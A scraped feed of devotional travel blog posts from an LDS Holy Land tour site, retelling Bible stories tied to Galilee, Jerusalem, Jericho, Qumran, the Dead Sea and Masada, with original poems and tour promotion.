Close to sixty different ancient Jewish sites, dating to the 3rd, 4th and 5th Centuries after the time of Jesus, have been found as new Jewish settlements were established. During the beginning decades of the modern State of Israel, the Syrians used the Golan Heights to shoot at Israeli settlements and swamp clearing operations in the Hula Valley below. In the 1967, six-day war, the Israelis moved the Syrians off the western side of the heights and to the Eastern low lands on the other side. Since then, on the Israeli side, the Hula valley and the Golan above it has become fruitful. The Golan was inhabited by Israel (tribes of Dan, part of Manasseh and some Levites) in Old Testament times as well. (JOSHUA 21:27) Most of the New Testament accounts occurred in the Golan/Galilee area.

FISHES AND LOAVES

At the Lower Golan, on the eastern shore of the Sea of Galilee, a more desolate or deserted place where few people lived, Jesus would go to be alone. But when the people heard that he was there, they followed him out of their cities. He blessed them and preached to them until the Disciples urged Jesus to let them go home to buy food to eat, He said, “…Give ye them to eat. And they said, We have no more but five loaves and two fishes; except we should go and buy meat for all this people. For they were about five thousand men. And he said to his disciples, Make them sit down by fifties in a company. And they did so, and made them all sit down. Then he took the five loaves and the two fishes, and looking up to heaven, he blessed them, and brake, and gave to the disciples to set before the multitude. And they did eat, and were all filled: and there was taken up of fragments that remained to them twelve baskets.” Jesus told the disciples to feed the people, they said it couldn’t be done because they did not have enough food. He took what they had, prepared it and returned it to the disciples, then they were able to feed loaves and fishes to five-thousand – not counting women or children. (LUKE 9:11-17)

Capernaum Ruins
Capernaum Ruins

CAPERNAUM: A ROMAN AND JEWISH CITY

In recent times, excavations have uncovered the ruins of a once thriving city of Romans and Jews. In ancient times, Capernaum may have had ten thousand inhabitants. It was a Roman toll station. It seems that a toll-taker challenged Peter for toll on his guest, Jesus of Nazareth. Peter apparently offered to pay it, but Jesus begins a significant dialogue, “What thinkest thou, Simon? of whom do the kings of the earth take custom or tribute? of their own children, or of strangers? Peter saith unto him, Of strangers. Jesus saith unto him, Then are the children free. Notwithstanding, lest we should offend them, go thou to the sea, and cast an hook, and take up the fish that first cometh up; and when thou hast opened his mouth, thou shalt find a piece of money: that take, and give unto them for me and thee. (MATTHEW 17:24-27) Graciously, Peter offers to pay the tribute for Jesus (which actually was unnecessary). Jesus, even more graciously, has Peter catch a fish which contains a coin in its mouth of large enough value to pay the toll for both of them.

Capernaum was the home of Peter and other apostles, including James, John and Matthew. (MARK 1:29) Matthew was also a toll-taker. Jesus lived here for eighteen to twenty months of his three-year ministry. Most of his miracles occurred here or at nearby Chorazim or Bethsaida. Sadly, these three cities were cursed by Jesus and only their ruins are visible today. (MATTHEW 11:20-24)

Some other of the better known miracles that happened at Capernaum include a palsied man being lowered through the roof on his bed so Jesus could heal him; healing a man with a withered hand; healing Peter’s mother-in-law; having Peter catch fish on the other side of the boat; healing the centurion’s servant from a distance and many others.

Jesus must have made many friends here, after all, thousands followed him. It is conceivable that the very first ones to gather around him when he came out or arrived to speak were the little children. Many parents would also bring their children for blessings. The Disciples would try to turn them away so they would not disturb the Master, He responded, “…Suffer (allow) little children, and forbid them not, to come unto me: for of such is the kingdom of heaven. (MATTHEW 19:14-15)

Of the children at Capernaum, one recalls the account of a twelve-year old girl who was ill. Her father, the leader of the synagogue, begged Jesus to come and heal her. On the way to bless her, Jesus noted that a woman had touched his garment. (MARK 5:21-43)

Religious Jews today wear a garment of wool called a talith, the name seems to be derived from the Hebrew word for lamb, “taleh”. The hem or the strings of the talith are customarily touched during Jewish religious services, (the four sets of strings are knotted so that the sum of knots and strings equal 613 – the number of laws and covenants including the ten commandments, given to Moses on Mount Sinai). The woman who touched the garment of Jesus (probably the talith) was healed. When he questioned who had touched him, the women fell at his feet and confessed, probably because it was totally against Jewish custom for a woman, bleeding (ritually unclean), to touch anyone. Jesus assured her that her faith had made her whole.

By the time Jesus arrived to bless the daughter of the leader of the Synagogue, she had died. The people laughed at Jesus when he said the girl was only “asleep”. He sent all the mourners away, then, with Peter, James and John, “…he taketh the father and the mother of the damsel…and entereth in where the damsel was lying. And he took the damsel by the hand, and said unto her, Talitha cumi…” The endearing term, Talitha, may have been Jesus’ way of saying “my little lamb”, or “curly locks” – and “cumi”, in Hebrew, means get up. “And straightway the damsel arose, and walked…” (MARK 5:21-43)

The tender feelings, personal nature and poetry of Jesus and his teaching methods are reflected in the following verses that a young curly locked girl might have thought, two thousand years ago:

TALITHA – The reflections of a little girl.

They said he was a stranger man,
but, I liked him right away.

The crowds lingered and followed him
but, I always heard him say:
Hello my precious little one,
will you sit with me today?

He called me Talitha, curly locks,
…and he taught me how to pray.

When I was sick, he came to me.
but, my life had slipped away.

He told my father, not to fear,
Have faith, he was heard to say.

Then, took my little hand and said:
Talitha, rise up and stay.

Mount of Beatitudes
Mount of Beatitudes

BEATITUDES – MOUNT OF BEATITUDES

On the northern shore of the Sea of Galilee, on a higher elevation overlooking the sea, a higher law was given on the Mount of Beatitudes. Even ancient travelers have written in their journals of the peaceful feeling of this Mount. A church designed by the Italian architect, Barlucci, marks the traditional location. Considering the proximity of this place to other communities nearby where Jesus taught and lived (Capernaum, Chorazim and Bethsaida), the breathtaking view that inspires and the feelings travellers have reported throughout the centuries, this is a likely spot where Jesus might have shared an explanation of his mission with the twelve Apostles. (MATTHEW 5)

SERMON ON THE MOUNT

The Sermon on the Mount was apparently given to the Twelve, “And seeing the multitudes, he went up into a mountain: and when he was set, his disciples came unto him”, (MATTHEW 5:1), yet it invites all people, whether rich or poor in spirit, happy or mourning, popular or persecuted, to come unto him. He promised that they would be filled with the Holy Ghost if they would accept Him.

Jesus indicated that the Law of Moses was fulfilled in Him, that he was restoring a higher law, one that was governed and dictated more by the spirit and intent than by the letter of the law, which was given at Mount Sinai, (after Moses had destroyed the first set of tablets). A better understanding of the Sermon on the Mount comes when comparing it to the commandments given on Mount Sinai.

A closer look at the “Beatitudes” also reveals that Jesus gave additional commandments. They were based on the original “Law of Moses”, but had deeper spiritual implications, implying that the reason behind keeping the commandments was more the spiritual guideline than the “letter of the law”.

The “old” and “new” laws are again like a “chiasm”, with the Savior’s ministry and subsequent atonement as the center, the “turning point”, linking the lesser and higher laws. The following poem illustrates this:

THE SERMONS ON THE MOUNTS

The law was given, the standard set.
But, best was not accepted yet.
We compromised with Heaven’s voice,
Just ten commandments was our choice.
Tooth for tooth and eye for eye,
retribution was the cry.

LESSER LAW

No other God-
Or Image Graven-
Not in vain, the name of Heaven –
Remember sabbath,
Father, Mother –
Thou shalt not kill –
Nor defile another –
Do not steal –
Or false word belabor –
Do not covet the wealth of neighbor –

But then was promised a covenant new,
inwardly, God would speak to you.
With sins forgiven and God revealed,
a higher law on us was sealed.

HIGHER LAW

Bless your neighbor-
Share a kindly word-
Give to others –
And clean thoughts preferred –
No need for anger to hide your smile –
Parents, children walk the second mile –
Use the Sabbath, blessings to bestow –
The name of God in your good deeds show –
Your life will God’s true image mirror,
As you and He become much nearer.

The secret of God’s law is known
when action by intent is shown.
In Heaven’s highest throne to stay,
Use thought and reason to guide the way.
The highest law is now defined –
in thought, in spirit and in the mind.

CHIASM

As stated before, the two sets of law form a chiasm around the ministry and atonement of Jesus. Fifty days after His crucifixion at Passover, the Holy Ghost came upon the congregation in Jerusalem. The Jewish Holiday commemorating the giving of the “Lesser” Law at Mount Sinai is also celebrated fifty days after Passover. Apparently, the same day was used in giving the gift of the Holy Ghost, the “Higher” Law. (ACTS 2:1-5) The day is called Pentecost.

Sea of Galilee
Sea of Galilee

SEA OF GALILEE

Seven hundred feet below sea level, the waters of the upper Jordan River feed and form the Sea of Galilee. Here, Jesus walked on the water; the apostles were astonished and even frightened when they saw Him. “But when they saw him walking upon the sea, they supposed it had been a spirit, and cried out…” “…and were troubled.” (MARK 6:44-51) Jesus bid Peter to walk, but when Peter saw what danger he was in – he began to sink. Peter cried out, “…save me”, Jesus then helped him out of the water and said, “…wherefore didst thou doubt?” Was Jesus teaching Peter a very personal lesson? After all, Peter was crying out to be saved. Was Jesus reminding Peter that he did not need to doubt, that Jesus was the Savior, that he came to save? (MATTHEW 14:30-32)

Due to the level of the lake being below sea level, (about 700 feet below), and the heights of the surrounding hills, (rising almost 10,000 feet above sea level), sudden storms still arise on the Sea of Galilee. Jesus calmed the wind and the waves, showing that he was the master of ocean and earth and skies. Comments were made, “What manner of man is this, that even the wind and the sea obey him?” (MARK 4:37-41)

Another sea story included Peter, who after fishing all night without catching anything, was told to cast his nets on the other side of the boat. He did, and drew so many fish that the boat almost sank. Their nets broke and the fishermen were not able to manage the harvest. (LUKE 5:4-9) From these shores, Jesus drew the fishermen and told them, “…I will make you fishers of men”. (MATTHEW 17:24-27)

After the resurrection, the Savior appeared to the Apostles at the Sea of Galilee. They had been fishing all night — and had caught nothing. He told them again, “…cast your nets on the right side of the ship”. (JOHN 21:6) The two stories of catching fish, one at the beginning of his earthly ministry and the second after his earthly ministry is another chiasm. The savior’s atonement is again evident as the center subject.

The first time the Disciples were told by Jesus to cast their nets on the other side, the nets broke, they were not able to harvest the fish. Three years later, he told them the second time to cast on the other side, this time the nets held together and the Disciples pulled in the catch. A symbolic consideration could be that their three years of training with the Master was to teach them how to be successful fishers of men.

After the resurrection, as they successfully pulled the nets in, Jesus bade Peter and the others to eat with him. Jesus, then asking Peter three times if he loved him more than the fishes, kept reminding Peter, “…Feed my sheep”. (JOHN 21:1-17) Jesus’ role is to save, the Apostles role is to feed the sheep. It seems that once the Twelve had learned that relationship, they were able to more successfully teach, effectively bless and divinely save; because now, they were not trying to do things from themselves, but were truly working in the name of Jesus.

It is his name upon us that is a constant reminder of the miracle of life eternal. He blessed, he saved, he restored. Modern Israel is a witness of the power of restoration of the land and of the people. The miracles of old are reflected in a now new land of miracles.

Remember your dream of walking in the footsteps of the Savior?

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]]> https://www.israelrevealed.com/the-land-of-miracles-israel/feed/ 2 Israel – It’s Ups & Downs https://www.israelrevealed.com/israel-its-ups-and-downs/ https://www.israelrevealed.com/israel-its-ups-and-downs/#respond Tue, 20 Mar 2018 20:55:40 +0000 https://www.israelrevealed.com/?p=3956

Israel Temple Mount
Israel Temple Mount

It’s said, life has its ups and downs. The well known author, Dr. M. Scott Peck, described love as lifting, bringing up, and evil as destroying or tearing down. The Book of Mormon prophet, Alma, spoke metaphorically of good coming from “above” and evil coming from “below”. (ALMA 5:40-41) It’s fascinating to consider Jerusalem as up! Likewise, in this Holy City and Holy Land, men who made themselves great (kings) were humbled — and men who were humble (prophets) were made great

JERUSALEM

Jerusalem, once a Jebusite city before David conquered it, is also known by other names, such as Salem, Zion, Ariel, City of The Lord or simply, The Holy City. Just the mention of Jerusalem invokes the thought of “looking up” to the `Mountain of the Lord’s house’. (ISAIAH 2:2) Jerusalem can only be reached by coming “up”. Today it is situated on seven hills and has six principal canyons leading up to it. Each canyon ends by a hill or mount that overlooks the city of Jerusalem. Each hill acts as a guardian or fortress for the city. The city is surrounded by a “wall of people”.

Mount of Olives
Mount of Olives

MOUNT OF OLIVES

In the Judean hills, the Mount of Olives looks over Jerusalem. It is about 2700 feet above sea level and is the highest of the several hills in the immediate area of the Holy City. This mount is sacred as a place for the dead as well as for its biblically renowned orchards and vineyards.

The graveyard has been the hallowed resting spot for millennia of dead. Jewish graves dating back almost three thousand years still point feet first toward the Temple Mount, (it is a Jewish custom that all graves face feet-first towards Jerusalem and in Jerusalem towards Temple Square. Recently, a gravestone with the name of King Uzziah inscribed on it was discovered on the Mount of Olives in the Russian Orthodox Church located adjacent to the graveyard. The bible indicates Uzziah’s burial (about 2800 years ago) in the place where Kings were buried, most likely, the Mount of Olives. (2 CHRONICLES 26:22)

WARNING SIGNS

There is a modern roadway, built at the time the Jordanians controlled this area, that now runs directly through these ancient grave-sites. Approaching or leaving Jerusalem, signs warn Jews who are Levites or consider themselves Cohens, (as priests are called in Hebrew), not to travel further on this modern road because it leads through a grave yard. Ancient biblical tradition instructs a Levite or a Jewish Priest not to touch anything dead – except for the unblemished, firstborn sacrifice at the Temple. So, rather than take a chance to be defiled by the emanations of the dead, even though they know the priesthood has been lost, modern Levites take another road, on the other side of this Mount. (NUMBERS 19:11)

In modern times there is an Ultra-Orthodox group which has dedicated itself to the preservation of graves and protecting the graves as well as those who might pass by from any possible defilement. They put up the warning signs and they are on location of almost all the archaeological digs and construction projects, often creating a hinderance.

PRIESTLY TRAVELLERS

From Jerusalem the ancient highway goes down to the Dead Sea. In just a dozen miles or so, there is a descent of about four-thousand feet to thirteen-hundred feet below sea level. (LUKE 18:31) The ancient road was rather desolate. It was the commute road travelled by Temple priests who lived in the Levite city of Jericho and served in Jerusalem’s Temple.

Since travelling in ancient times included animals for food and barter as well as transportation, and money for accommodations as well, it was not wise to travel alone. Caravans were organized and regularly scheduled. Special travel rules of cleanliness applied to the priests who had to remain “unblemished” to serve in the Holy Temple. They would stay away from any decay or waste matter and of course they kept a distance from anything dead (that was not killed as a sacrifice in the Temple).

AN INN

On the road from Jerusalem to Jericho an old inn has been restored to represent the “Good” Samaritan Inn of a New Testament story Jesus told. This setting reminds us of the parable Jesus chose as he answered a lawyer, who challenged Jesus, the lawgiver; “What must I do to inherit Eternal Life?”.

WHO IS MY NEIGHBOR?

Preceding a consideration of Jesus answer, a little background would be helpful. It is sometimes surprising to consider Jesus as a lawyer instead of a carpenter. Was he sent to earth to be educated as a carpenter? Or is it more likely that Jesus studied the law that he was supposed to restore? After all, he is the lawgiver, our advocate with the Father. “. . . we have an advocate with the Father, Jesus Christ the righteous. . . “ (JOHN 2:1) He was recognized as a Rabbi, a lawyer, one schooled in the Law, he was authorized to read in the synagogues. (LUKE 4:16) So, answering the lawyer who challenged Jesus and having been trained in the law himself, the new Rabbi from Nazareth answered with a question, “What is written in the law? How readest thou?”. Showing his own legal acumen, the lawyer recited the first law of loving God and neighbor, but challenged Jesus to a legal definition, “Who is my neighbor?”.

PARABLE OF THE “GOOD” SAMARITAN

The Savior related then, this story: “A certain man went down from Jerusalem to Jericho and fell among thieves, which stripped him of his raiment, and wounded him, and departed, leaving him half dead. And by chance there came down a certain priest that way: and when he saw him, he passed by the other side. And likewise a Levite, when he was at the place, came and looked on him, and passed by the other side. But a certain Samaritan”, (a non-jew), “…came where he was: and bound up his wounds, pouring in oil and wine and set him on his own beast and brought him to an inn and took care of him.” (LUKE 10:25-37)

PRIESTS AVOID THE DEAD

Today, local Jews don’t use the term “Good Samaritan“, to some, it has an anti-semitic inference to bad Jews. Of course, Jesus had no intent of portraying Jews as uncompassionate – in his story he’s making a legal point to the lawyer’s question, legally, who is my neighbor. The Hebrew inference was that the priest, and the Levite were within their legal rights – not to be defiled by being too close to the dead, and rather than take a chance, they went on the other side. Their lack of action was strictly legal, but missed the higher law of compassion – governed by the spirit, not the letter of the law. (Talmudic commentary written some hundreds of years later indicates that Levites or Cohens are required to bury the dead if they chance upon a cadaver).

The Dead Sea
The Dead Sea

JERUSALEM TO THE DEAD SEA

The area from Jerusalem to the Dead Sea is a contrast like no other. The annual rainfall in the Judean hills is the same as in London, (about 23-24 inches), but just about a dozen miles away, the Jordan desert and the Lake of Salt receive but a few drops, (historically, less than 1 inch). Here the lower Jordan River empties into the Dead Sea. The area around the Dead Sea has looked much like a moonscape, but the greenery from the tops of the Judean Hills is now being brought to the desert. As you see the contrasts of desert and fruitful, green fields, you may well wonder why God led the ancient covenant people of Israel across the Jordan River to this harsh desert area. (JOSHUA 4:1-5)

THE WALLS OF JERICHO

Just north of the Dead Sea, you find Jericho, nestled at the bottom of the Judean hills. You discover a quiet town of fruit and vegetable growers, a trade route city that encountered at least twenty eight different conquests, as this evidenced in the excavations of this ancient tel. One of those conquests was by Joshua who led the Israelites on six silent daily walks around the walls of the city. On the seventh day they made another six silent walks around the city. All the noiseless marching may have confused the ancient inhabitants of Jericho. It was the seventh walk around the city on the seventh day that was made noisy. Accompanied by trumpets and shouts, the walls came tumbling down! (JOSHUA 6)

TEMPTATIONS FOR WEALTH

The prophet Joshua commanded that all living persons and animals were to be killed except for Rahab, (the harlot who had saved the Israelite spies). All gold, silver or other metal and worthwhile items were to be brought to the Lord’s treasury. Though no loot was to be taken at Jericho, a certain Achan succumbed to the temptation of wealth and took some spoils. Because he took a Babylonish garment, fifty shekels of silver and a wedge of gold and hid them in his tent, the Israelites experienced a terrible defeat at their next battle. After Joshua had interviewed man by man he found Achan who confessed the theft. He, his entire family were stoned to death and then with all of their possessions they were burnt with fire. (JOSHUA 7)

In New Testament times, Jesus was tempted with the wealth of the world by Satan. Jericho is an oasis and as such, an important and busy crossroads. This way station was obviously a place of wealth, natural and man-made. The Mount of Temptation, just above Jericho marks the traditional spot where Jesus’ temptation for wealth may have occurred. (MATTHEW 4:1-11) A monastery has been built into the side of the mount.

When Jesus was teaching at Jericho the tax collector, Zacheus, climbed a tree to better see him. Jesus invited himself to Zacheus’ house to dine with him. People murmured that Jesus was socializing with the expropriator of the people’s taxes. It is interesting to note that tax collectors had to reach a quota set by the Romans. It was imperative that taxes were collected above the normal rate when the economy was good so that the quota could be met when the economy was bad. The people murmured that Zacheus may have abused that system for his own benefit. Zacheus became so impressed with Jesus’ teachings that he offered half of his wealth to the poor and four-fold repayment to the people he had wronged. (LUKE 19:1-17) A tree marks the traditional site of that event.

These three stories have some connection to wealth. Achan, succumbed to temptation, disobeyed and stole. Jesus, tempted, refused the wealth of the world. and Zacheus, having surrendered to temptation, was willing to repay his wrongs – fourfold.

Qumran Caves
Qumran Caves

HISTORY IN QUMRAN CAVES

In the same period of history, another community lived close-by, at the Dead Sea, sharing what little wealth they had in a common unity. The ruins of Qumran echo the history of a people supposed by many to be the Essenes, or as they called themselves, the Sons of Light. (LUKE 16:8) The Dead Sea Scrolls were found quite by accident as some Bedouin boys, apparently throwing stones into cavities of rock, out of curiosity examined one of the many holes and caves by the Dead Sea. They explored one cave, where their stones had struck a clay jar which had lain hidden for close to two thousand years. The leather scrolls in the clay jars were meaningless to them, but eventually they pawned them off for a “few dollars” to a shoemaker in Bethlehem. He was able to sell them for a substantial sum to a Jewish scholar, Dr. Eliezar Sukenik, who recognized their immense historical value.

ESSENE LIFE

After the scrolls were discovered, the ruins became significant and were excavated. Living quarters, writing halls, cisterns and immersion fonts indicated a religious Jewish life. It is not strange to find immersion fonts in this community, after all, Jews still practice immersions today. Many religious Jews feel that water used in ritual immersions must be spring water, the term for that is “living waters”. The Essenes kept copies of the scriptures, interpretations of the scriptures and their own scrolls of doctrines and covenants.

The scroll of doctrines and covenants, The Manual of Discipline, indicates their organization which included the office of a “Teacher of Righteousness” who had two assistants, a “Council of Twelve” overseers, as well as a system of higher and lesser authorities. Some people suggest that this governing system was copied by Jesus and that he may have studied with this sect. It seems highly unlikely that this is the case. However, Jesus did use the same system of government that was given to Moses, a system that partially continued to exist in other Jewish traditions up to and at the time of Jesus. (EXODUS 24:1, JOSHUA 3:12, LUKE 6:13, LUKE 10:1)

SCROLLS CONTAIN OLD TESTAMENT WRITINGS

A part of every book of the Old Testament, except the Book of Esther, was found in these writings, including the entire book of Isaiah. These biblical writings are a thousand years older than any previously known Hebrew biblical text. The best preserved parts of these scrolls are displayed at the Israel Museum in Jerusalem at the Shrine of the Book.

The Ein Gedi Oasis
The Ein Gedi Oasis

EIN GEDI: AN OASIS AT THE DEAD SEA

The most outstanding scenic area at the Dead Sea is undoubtedly the oasis of Ein Gedi. (SONG OF SOLOMON 1:14) Cold fresh water, as well as hot sulfur springs, still flow out of the Judean Mountains. The kibbutz Ein Gedi has done some remarkable farming; it has a youth hostel and cafeteria and boasts of naturally hot and cold running water. The natural hot springs and fresh water falls are an attraction enjoyed by many tourists and a constant draw for Israelis who particularly enjoy nature hiking. The kibbutz Ein Gedi operates a successful spa which attracts visitors from all over the world to take advantage of the healing properties of the Dead Sea. The spa as well as other hotels in the area have resident nurses and medical practitioners to assist visitors in their specialized therapies treating arthritic conditions, psoriasis, eczema and other skin difficulties.

Two thousand years ago, Jewish zealots retreated to nearby caves, in order to hide from the Romans who were not used to mountain climbing and cave searches. A thousand years before that, David, trying to escape the murderous intent of Saul, hid in nearby caves. Saul, searching for David went into a cave “…to cover his feet…” (a scriptural way of saying he went to relieve himself). David, in that same cave, cut off a part of Saul’s cloak but would not kill him. As Saul exited, David revealed himself and said, “I will not put forth mine hand against my lord; for he is the LORD’s anointed.” Saul then replied, “And now, behold, I know well that thou shalt surely be king, and that the kingdom of Israel shall be established in thine hand.”

It is symbolic that David refuses to kill the “Lord’s anointed”… and by inference teaches Saul that neither should he, (David had already been anointed to be the King of Israel). (1 SAMUEL 24)

THE DEAD SEA: LOWEST PLACE ON THE FACE OF THE EARTH

The mineral content of the Dead Sea is about 27-percent. That is the maximum mineral saturation water can have at this elevation and temperature. A mineral extraction plant is located on its southern shore at Sdom, probably derived from the ancient name Sodom. Minerals and derivatives are exported throughout the world. Minerals included in the unusual body of water are magnesium, bromides, calcium chloride, and sodium chloride. Potash is derived from the Dead Sea. Of course, common table salt originates here as well.

At thirteen hundred feet below sea level, the Dead Sea is the lowest place on the face of the earth. It is also thirteen hundred feet deep. The lake’s level has been hundreds of feet higher in ancient times but today it is receding rapidly. Although nothing lives in it, in Hebrew it is not known as the Dead Sea, but known simply as the Salt Lake. (GENESIS 14:3)

Masada Fortress Ruins
Masada Fortress Ruins

MASADA – THE FORTRESS

Herod the Great chose the lifeless surroundings of this area to build two palaces on a naturally separated mesa. Built 1500 feet above the Dead Sea, totally isolated and without life support, Masada became an ancient “Palm Springs”. It was also a fortress to protect Herod from his real or imagined enemies. Magnificent buildings, pools, baths and fountains defied nature. There were enormous food storage chambers and many plastered cisterns, carefully surrounded by double walls and lookout towers. After Herod’s death, Roman soldiers continued to use this pleasure palace but later were unexpectedly routed by Jewish zealots who climbed undetected into this remote Roman garrison.

THE RAMP USED TO DESTROYED MASADA

Later, in trying to retake the fortress, the Romans tried to besiege the mountain. This was more difficult for the Romans below than for the Jews above who had supplies and stored water. The Romans started to fill in the canyon and build a ramp to the top. Josephus, a Jewish-turned-Roman historian, tells us that the Jews stopped the Romans from building the ramp by throwing boulders down on them. The Romans then brought in Jewish slaves from Jerusalem which had just been destroyed, to keep the Jews at the top from stopping the work on the ramp. In the end, more than nine hundred sixty men, women and children collectively took their own lives, choosing death rather than surrender to the Romans.

Excavations made between 1963 and 1967 confirmed many of these strange, almost unbelievable facts, that Josephus wrote about some nineteen hundred years ago.

THE SPIRIT LINGERS ON MASADA

The spirit of collective identity is still felt strongly here as Israeli children and soldiers visit Masada at least once in their military or educational pursuits. Some young Jewish lads come here for their Bar Mitzvah. In the past, elite Israeli military forces took their oaths at this ancient fortress with the cry – “Masada shall never fall again!”

Although an honor and memory of the zealot’s resolve is maintained, the young Israeli, today, has some doubts as to the necessity of their actions. It is said that the underlying reason to take Masada from the Roman garrison was senseless since there was no military or strategic significance for the fortress. It served only the recreation and pleasure of the Roman soldiers. Its conquest did not serve the zealots, nor for that matter, the Romans who subsequently retook it. In that sense, the battle of Masada was a battle of spite. Many young military people, who committedly serve their country today feel that the zealots, 1900 years ago, were misdirected, that the taking of Masada was inconsequential and that zealot lives were lost for an unjustified reason.

The memories of Masada faded as the ruins crumbled and were picked over by nomadic Bedouin traversing this desert area during the last two thousand years. In a land of ups and downs, valleys and mountain, even history has it parallel contrasts. The man-made greatness of Massada was brought down, while the humility of truly great prophets in Jerusalem always has us looking up.

Remember your dream of walking in the footsteps of the Savior?

Explore your LDS Holy Land tour

lds israel tours

]]> https://www.israelrevealed.com/israel-its-ups-and-downs/feed/ 0 Where Did the “Good” in Good Samaritan Come From? or, Who is my Neighbor? https://www.israelrevealed.com/where-did-the-good-in-good-samaritan-come-from-or-who-is-my-neighbor/ https://www.israelrevealed.com/where-did-the-good-in-good-samaritan-come-from-or-who-is-my-neighbor/#respond Thu, 02 Mar 2017 17:33:27 +0000 https://www.israelrevealed.com/?p=3056

LDS Dead Sea Tours in Israel
The Dead Sea, Israel

The Dead Sea is just over a dozen miles away from Jerusalem. Descending 4000-feet from about 2700-feet above sea level, to 1300-feet below sea level, the ancient road to Jericho was rather desolate. However, it was the road traveled by temple priests who lived in Levite Jericho, serving in Jerusalem’s temple. In those days, travel was about a day’s journey, and they included animals in their caravans. Caravans were regularly used for defense against highway robbers.

Special travel rules of cleanliness applied to the priests who had to remain “unblemished” to serve in the holy temple. Staying away from any decay or waste matter, they also kept a specific distance away from anything dead (except the temple sacrifices). “Whosoever toucheth . . . a dead body . . . or a grave, shall be unclean.” (Numbers 19:16) It is still a custom among Levites and Cohens to circumvent graveyards or any place where there is death.

The road from Jerusalem to Jericho

LDS Desert Tours in Israel
Desert in Israel

On the road from Jerusalem to Jericho, an old inn has been restored to represent a New Testament parable Jesus told. Modern Christians call it the “Good Samaritan Inn.” The truth is that Jesus never used the term “good” Samaritan. Let’s take a closer look . . . A lawyer, challenged Jesus, the Lawgiver: “What shall I do to inherit eternal life?” (Luke 10:25) Jesus, who studied the law, (He is the lawgiver, our advocate), responded to the challenging lawyer, with a question, “What is written in the law? how readest Thou?” (Luke 10:26) Showing his own legal acumen, the lawyer recited the first law of loving God and neighbor, but challenged Jesus to a legal definition, “Who is my neighbor?” (Luke 10:29) The Savior then related the parable, including priests and a non-Jewish Samaritan. Nowadays, Jews don’t use the term “good” Samaritan, it has anti-Semitic implications of “bad” Jews. You’ll hear some say that Jesus was an anti-Semite, “Even when Jesus made up a story he portrayed the Jews as bad guys and the non-Jew as the good guy.”

Jesus had no intention of portraying Jews as uncompassionate. In His story, He’s making a legal point, the priest and the Levite were within legal rights – not to be defiled by being too close to the dead, and rather than take a chance, they walked on the other side. Their lack of action was strictly legal, but missed the higher law of compassion, governed by the spirit not the letter of the law. Talmudic commentary written hundreds of years later, adds an additional guideline, “As a sign of respect, Levites, or Cohens, are required to bury the dead if they chance upon a cadaver.”

Removing “good” from “good Samaritan”

In developing true forgiveness, understanding and childlike faith, and truly be a neighbor, we might also consider removing the “good” from the “good Samaritan,” thereby removing the inferred “bad” from the Jews in the story. All three were good in their own perceptions. However, the Levite and the Priest missed the point of a higher law–governed by the spirit. That also doesn’t mean the lesser law, governed-by the letter of the law, is bad; and those who ardently attempt to keep it are thereby bad as well.

As an example, for us, the Savior’s compassion for all of God’s children raise us much higher, inspires us, to ask, “May I be your neighbor?”

Remember your dream of walking in the footsteps of the Savior?

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